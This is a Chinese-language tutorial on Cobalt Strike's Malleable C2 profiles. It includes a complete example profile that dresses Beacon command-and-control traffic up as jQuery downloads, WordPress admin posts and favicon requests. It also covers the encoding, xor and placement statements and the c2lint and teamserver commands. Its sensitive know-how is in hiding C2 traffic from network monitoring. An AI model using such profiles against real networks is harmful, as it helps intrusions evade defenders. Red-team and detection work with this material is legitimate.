前言
Malleable C2是Cobalt Strike的一個功能,它允許我們通過編寫配置文件來改變Beacon與C2通信時的流量特征與行為。在學習之前我們先通過下圖了解下Beacon與Teamserver通信的基礎過程。

示例
以下示例基本包含了編寫配置文件需要用到的元素。

1 #設置全局選項 2 set sample_name "my"; 3 set sleeptime "5000"; 4 5 http-get 6 { 7 #設置針對get請求的url路徑 8 set uri "/jquery.min.js"; 9 10 client 11 { 12 #設置客戶端請求的頭部字段與url參數 13 header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8"; 14 parameter "ver" "1.2.4"; 15 16 #發送會話元數據 17 metadata 18 { 19 base64; #base64編碼 20 prepend "token="; #數據前追加字符串 21 header "Cookie"; #保存數據到Cookie字段 22 } 23 } 24 25 server 26 { 27 #設置服務端請求的頭部字段 28 header "Server" "Apache/2.4.39 (Unix)"; 29 header "Content-Type" "application/javascript; charset=utf-8"; 30 31 #返回需要執行的任務信息 32 output 33 { 34 base64; 35 prepend "/*! jQuery v2.1.3"; 36 append "var nc=a.jQuery,oc=a.$;"; 37 print; 38 } 39 } 40 } 41 42 http-post 43 { 44 set uri "/wp-admin"; 45 46 client 47 { 48 header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8"; 49 header "Cookie" "wordpress_test_cookie=WP+Cookie+check"; 50 51 #發送任務ID 52 id 53 { 54 base64; 55 prepend "PHPSESSID="; 56 header "Cookie"; 57 } 58 59 #發送任務執行結果 60 output 61 { 62 base64; 63 print; 64 } 65 } 66 67 server 68 { 69 header "Server" "Apache/2.4.39 (Unix)"; 70 header "Content-Type" "text/html; charset=UTF-8"; 71 72 #返回空 73 output 74 { 75 base64; 76 print; 77 } 78 } 79 } 80 81 http-stager 82 { 83 set uri_x86 "/favicon1.ico"; 84 set uri_x64 "/favicon2.ico"; 85 86 client 87 { 88 header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8"; 89 } 90 91 server 92 { 93 header "Server" "Apache/2.4.39 (Unix)"; 94 header "Content-Type" "image/x-icon"; 95 96 #返回有效載荷 97 output 98 { 99 print; 100 } 101 } 102 }
語句
使用以下語句編寫配置文件,可以完成對C2流量特征與行為的自定義過程。
數據轉換

1 //對傳輸數據進行編碼 2 base64: //base64編碼 3 base64url: //base64編碼后數據可以放在rul中 4 mask: //xor異或加密 5 netbios: //SMB 傳輸過程中針對主機名的編碼方式(NetBIOS編碼‘a’) 6 netbiosu: //SMB 傳輸過程中針對主機名的編碼方式(NetBIOS編碼‘A’) 7 8 //在傳輸數據的起始和結尾部分追加字符串 9 prepend: //前置字符串 10 append: //結尾字符串
終止語句

1 //設置傳輸數據存儲的位置 2 header "Cookie" //將數據存儲在HTTP頭Cookie字段中 3 parameter "Key" //將數據存儲在URL參數中 4 5 print //將數據存儲在Body中 6 uri-append //將數據附加到URL中
額外語句
1 //parameter: 在rul結尾添加?bar = blah參數 2 http-get { 3 client { 4 parameter "bar" "blah"; 5 6 //header: 在請求頭添加X-Not-Malware字段 7 http-get { 8 server { 9 header "X-Not-Malware" "I promise!";
轉義字符

1 "\n" //換行符 2 "\r" //回車符 3 "\t" //制表符 4 "\u####" //Unicode字符 5 "\x##" //字節符(例如:\x41 = 'A') 6 "\\" //\
可用選項
可用選項分為2種類型:全局選項和局部選項。
全局選項在文件頭部設置,全局選項將更改全局Beacon設置。
你可以使用“set”語句在配置文件中設置可用選項來配置Beacon的默認值。
1 //設置默認睡眠時間為1000毫秒 2 set "sleeptime" "1000";

測試與使用
Cobalt Strike軟件包中包含一個c2lint程序,你可以使用該程序對配置文件語法進行檢查,或者使用隨機數據對配置文件進行單元測試。
// ./c2lint [/path/to/my.profile]
配置文件檢測通過后你可以在啟動Cobalt Strike團隊服務器時,指定加載該配置文件。
// ./teamserver [external IP] [password] [/path/to/my.profile]
參考資料
https://www.cobaltstrike.com/help-malleable-c2
https://exp10it.cn/#/posts/69
https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/
